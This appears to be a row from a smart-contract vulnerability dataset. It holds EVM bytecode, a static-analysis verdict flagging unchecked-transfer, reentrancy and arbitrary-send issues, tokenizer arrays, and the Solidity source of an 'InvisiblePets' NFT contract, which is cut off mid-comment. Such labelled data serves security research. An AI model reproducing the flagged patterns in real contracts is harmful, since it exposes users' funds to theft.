50505060405180910390f35b34156106b657600080fd5b6106be6115c5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561070b57600080fd5b61075f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115ea565b005b341561076c57600080fd5b6107746117e0565b6040518082815260200191505060405180910390f35b341561079557600080fd5b61079d6118c7565b604051808215151515815260200191505060405180910390f35b34156107c257600080fd5b6107ee600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118de565b6040518082815260200191505060405180910390f35b341561080f57600080fd5b61083b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119fb565b005b341561084857600080fd5b6108c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611c2b565b005b610912600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611c3c565b005b341561091f57600080fd5b61096a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c6d565b6040518082815260200191505060405180910390f35b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109f7578173ffffffffffffffffffffffffffffffffffffffff16319050610ab8565b8273ffffffffffffffffffffffffffffffffffffffff166370a08231836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610a9a57600080fd5b6102c65a03f11515610aab57600080fd5b5050506040518051905090505b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b1957600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c0a5780601f10610bdf57610100808354040283529160200191610c0a565b820191906000526020600020905b815481529060010190602001808311610bed57829003601f168201915b505050505081565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630ee3c31d836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610cd957600080fd5b6102c65a03f11515610cea57600080fd5b505050604051805190509050919050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663161181ea836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610dc257600080fd5b6102c65a03f11515610dd357600080fd5b505050604051805190509050919050565b600860009054906101000a900460ff16151515610e0057600080fd5b82600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f09a401630836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b1515610fb357600080fd5b6102c65a03f11515610fc457600080fd5b505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f09a401630836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b15156110b757600080fd5b6102c65a03f115156110c857600080fd5b5050506001600860006101000a81548160ff021916908315150217905550505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166326aa101f836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156111b257600080fd5b6102c65a03f115156111c357600080fd5b505050604051805190509050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112a157600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663517a626f6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156113b157600080fd5b6102c65a03f115156113c257600080fd5b50505060405180519050905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600080600080600080600080600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376dc76e78f8f600060405160a001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060a060405180830381600087803b15156114f957600080fd5b6102c65a03f1151561150a57600080fd5b50505060405180519060200180519060200180519060200180519060200180519050809b50819750829850839950849a505050505050600a830291506115508e88610980565b90508181101561155e578091505b85828487879b509b509b509b509b50505050505050509295509295909350565b60008060008060006115b2600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761141a565b9450945094509450945091939590929450565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515611762578273ffffffffffffffffffffffffffffffffffffffff166323b872dd836000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561174157600080fd5b6102c65a03f1151561175257600080fd5b50505060405180519050506117db565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156117da57600080fd5b5b505050565b60003073ffffffffffffffffffffffffffffffffffffffff16636a2d5028600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156118a757600080fd5b6102c65a03f115156118b857600080fd5b50505060405180519050905090565b6000600860009054906101000a900460ff16905090565b60003073ffffffffffffffffffffffffffffffffffffffff16630138aac1600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15156119d957600080fd5b6102c65a03f115156119ea57600080fd5b505050604051805190509050919050565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611aa057600080fd5b6102c65a03f11515611ab157600080fd5b5050506040518051905090506000811115611baf578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611b9257600080fd5b6102c65a03f11515611ba357600080fd5b50505060405180519050505b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611c2757600080fd5b5050565b611c3783338484611d8b565b505050565b611c6a600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16333484611d8b565b50565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe5aa8e084846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515611d6857600080fd5b6102c65a03f11515611d7957600080fd5b50505060405180519050905092915050565b60008060003073ffffffffffffffffffffffffffffffffffffffff166326aa101f886000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611e3357600080fd5b6102c65a03f11515611e4457600080fd5b505050604051805190501515611e5957600080fd5b84600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639c52638087896000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515611fd757600080fd5b6102c65a03f11515611fe857600080fd5b5050506040518051905092508285600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f900b5d6898b6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15156120ef57600080fd5b6102c65a03f1151561210057600080fd5b5050506040518051905001039150600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b2a8a6f38789856000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561220f57600080fd5b6102c65a03f1151561222057600080fd5b505050604051805190509050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663063a740088888885896000604051602001526040518663ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612353578082015181840152602081019050612338565b50505050905090810190601f1680156123805780820380516001836020036101000a031916815260200191505b509650505050505050602060405180830381600087803b15156123a257600080fd5b6102c65a03f115156123b357600080fd5b5050506040518051905050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635d383eaa88876040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561248257600080fd5b6102c65a03f1151561249357600080fd5b5050506124a18787876115ea565b505050505050505600a165627a7a7230582018dda450cb4942af919f02f58a0ee67d7076a53283ac664832bee97fca2fbb9d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 23499, 2050, 19961, 2683, 18139, 22394, 27009, 22394, 2683, 2683, 2581, 2063, 2629, 11057, 16703, 2620, 22022, 2475, 2497, 22407, 2581, 2850, 23499, 2683, 2581, 2094, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2403, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 9598, 3206, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,108
0x9639e678d34780dc82d1d7c395f53fd7220ca23c
//SPDX-License-Identifier: MIT pragma solidity ^0.8.11; /* .___ .__ ._____. .__ __________ __ | | _______ _|__| _____|__\_ |__ | | ____ \______ \ _____/ |_ ______ | |/ \ \/ / |/ ___/ || __ \| | _/ __ \ | ___// __ \ __\/ ___/ | | | \ /| |\___ \| || \_\ \ |_\ ___/ | | \ ___/| | \___ \ |___|___| /\_/ |__/____ >__||___ /____/\___ > |____| \___ >__| /____ > \/ \/ \/ \/ \/ \/ */ import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "./ERC721A.sol"; contract InvisiblePets is ERC721A, Ownable, Pausable { using SafeMath for uint256; uint public MAX_SUPPLY = 5000; uint public PRICE = 0.055 ether; string public BASE_URI = "ipfs://QmNZCfuYdRwchx1ng9sBP1DNYHXtUh8zzWBZod2yemVeFr/"; uint public RESERVE_SUPPLY = 100; constructor() ERC721A("InvisiblePets", "PETS") { reserve(RESERVE_SUPPLY); _pause(); } function updateBaseUri(string memory baseUri) public onlyOwner { BASE_URI = baseUri; } function update(uint maxSupply, uint price, string memory baseUri) public onlyOwner { MAX_SUPPLY = maxSupply; PRICE = price; BASE_URI = baseUri; } function reserve(uint256 quantity) public onlyOwner { secureMint(quantity); } function mint(uint256 quantity) external payable whenNotPaused { require(PRICE * quantity <= msg.value, "Insufficient funds sent"); secureMint(quantity); } function secureMint(uint256 quantity) internal { require(quantity > 0, "Quantity cannot be zero"); require(totalSupply().add(quantity) < MAX_SUPPLY, "No items left to mint"); _safeMint(msg.sender, quantity); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } function _baseURI() internal view override returns (string memory) { return BASE_URI; } } // SPDX-License-Identifier: MIT // Creator: Chiru Labs pragma solidity ^0.8.0; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/utils/Context.sol'; import '@openzeppelin/contracts/utils/Strings.sol'; import '@openzeppelin/contracts/utils/introspection/ERC165.sol'; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). * * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), 'ERC721A: global index out of bounds'); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), 'ERC721A: owner index out of bounds'); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx; address currOwnershipAddr; // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert('ERC721A: unable to get token of owner by index'); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), 'ERC721A: balance query for the zero address'); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require(owner != address(0), 'ERC721A: number minted query for the zero address'); return uint256(_addressData[owner].numberMinted); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), 'ERC721A: owner query for nonexistent token'); unchecked { for (uint256 curr = tokenId; curr >= 0; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } revert('ERC721A: unable to determine the owner of token'); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token'); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, 'ERC721A: approval to current owner'); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), 'ERC721A: approve caller is not owner nor approved for all' ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), 'ERC721A: approved query for nonexistent token'); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), 'ERC721A: approve to caller'); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), 'ERC721A: transfer to non ERC721Receiver implementer' ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = currentIndex; require(to != address(0), 'ERC721A: mint to the zero address'); require(quantity != 0, 'ERC721A: quantity must be greater than 0'); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1 // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1 unchecked { _addressData[to].balance += uint128(quantity); _addressData[to].numberMinted += uint128(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe) { require( _checkOnERC721Received(address(0), to, updatedIndex, _data), 'ERC721A: transfer to non ERC721Receiver implementer' ); } updatedIndex++; } currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved'); require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner'); require(to != address(0), 'ERC721A: transfer to the zero address'); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert('ERC721A: transfer to non ERC721Receiver implementer'); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * 